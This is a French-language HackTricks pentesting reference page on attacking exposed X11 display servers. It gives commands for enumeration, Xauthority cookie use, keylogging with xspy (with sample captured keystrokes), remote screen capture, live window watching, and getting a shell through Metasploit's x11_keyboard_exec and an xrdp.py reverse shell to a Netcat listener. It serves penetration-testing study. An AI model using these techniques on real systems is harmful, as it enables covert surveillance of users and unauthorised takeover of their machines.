hacktricks/network-services-pentesting/6000-pentesting-x11.md
2023-06-03 13:10:46 +00:00

200 lines
9.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6000 - Pentesting X11
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) **groupe Discord** ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3**
🐞 Lisez les tutoriels de bugs web3
🔔 Recevez des notifications sur les nouveaux programmes de primes pour bugs
💬 Participez aux discussions de la communauté
## Informations de base
Le système de fenêtrage X (alias X) est un système de fenêtrage pour les affichages bitmap, qui est courant sur les systèmes d'exploitation basés sur UNIX. X fournit le cadre de base pour un environnement basé sur une interface graphique. X ne mandate pas non plus l'interface utilisateur - des programmes individuels gèrent cela.\
À partir de : [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
**Port par défaut :** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
## Énumération
Vérifiez la **connexion anonyme :**
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
#### Énumération locale
Le fichier **`.Xauthority`** dans le dossier personnel de l'utilisateur est **utilisé** par **X11 pour l'autorisation**. À partir de [**ici**](https://stackoverflow.com/a/37367518):
> MIT-magic-cookie-1: Génération de 128 bits de clé ("cookie"), stockage dans \~/.Xauthority (ou là où la variable d'environnement XAUTHORITY pointe). Le client l'envoie au serveur en clair ! Le serveur vérifie s'il a une copie de ce "cookie" et si c'est le cas, la connexion est autorisée. La clé est générée par DMX.
{% hint style="warning" %}
Pour **utiliser le cookie**, vous devez définir la variable d'environnement : **`export XAUTHORITY=/chemin/vers/.Xauthority`**
{% endhint %}
## Vérifier la connexion
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
## Keyloggin
[xspy](http://tools.kali.org/sniffingspoofing/xspy) pour intercepter les frappes du clavier.
Exemple de sortie :
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
## Capture d'écran
---
### X11
X11 est un protocole d'affichage graphique qui permet à un utilisateur de se connecter à une machine distante et d'afficher des applications graphiques exécutées sur cette machine. Les applications graphiques sont envoyées à l'utilisateur via le réseau et affichées sur son écran local.
#### Capture d'écran avec xwd
La commande `xwd` permet de capturer une image de l'écran actuel et de la sauvegarder dans un fichier. Pour capturer une image de l'écran actuel et la sauvegarder dans un fichier nommé `screenshot.xwd`, utilisez la commande suivante :
```
$ xwd -root -out screenshot.xwd
```
#### Conversion de xwd en png
La commande `convert` du paquet ImageMagick permet de convertir des images dans différents formats. Pour convertir une image `xwd` en `png`, utilisez la commande suivante :
```
$ convert screenshot.xwd screenshot.png
```
#### Capture d'écran avec xdotool
La commande `xdotool` permet de simuler des événements de souris et de clavier, ainsi que de capturer des images de l'écran. Pour capturer une image de l'écran actuel et la sauvegarder dans un fichier nommé `screenshot.png`, utilisez la commande suivante :
```
$ xdotool getactivewindow windowraise && xwd -id $(xdotool getactivewindow) -out screenshot.xwd && convert screenshot.xwd screenshot.png
```
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## Affichage du bureau à distance
Source : [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py <IP:0>
```
Tout d'abord, nous devons trouver l'ID de la fenêtre en utilisant xwininfo.
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
Pour une **visualisation en direct**, nous devons utiliser
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
## Obtenir un Shell
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
Autre méthode:
**Shell inversé:** Xrdp permet également de prendre un shell inversé via Netcat. Tapez la commande suivante:
**./xrdp.py \<IP:0> no-disp**
![](../.gitbook/assets/112217\_0051\_ExploitingX15.jpeg)
Une nouvelle fenêtre de contrôle s'affichera où nous pourrons voir l'option R-shell, comme illustré ci-dessous:
![](../.gitbook/assets/112217\_0051\_ExploitingX16.jpeg)
Nous allons démarrer le mode d'écoute Netcat sur notre système local sur le port 5555, comme illustré ci-dessous:
![](../.gitbook/assets/112217\_0051\_ExploitingX17.jpeg)
Ensuite, ajoutez l'adresse IP et le port, puis sélectionnez R-Shell, comme illustré ci-dessous:
![](../.gitbook/assets/112217\_0051\_ExploitingX18.jpeg)
Maintenant, comme on peut le voir ci-dessous, nous avons un accès complet au système:
![](../.gitbook/assets/112217\_0051\_ExploitingX19.jpeg)
{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}
## Shodan
* `port:6000 x11`
\`\`
<figure><img src="../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
[**Suivez HackenProof**](https://bit.ly/3xrrDrL) **pour en savoir plus sur les bugs web3**
🐞 Lisez les tutoriels sur les bugs web3
🔔 Recevez des notifications sur les nouveaux programmes de bug bounty
💬 Participez aux discussions de la communauté
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>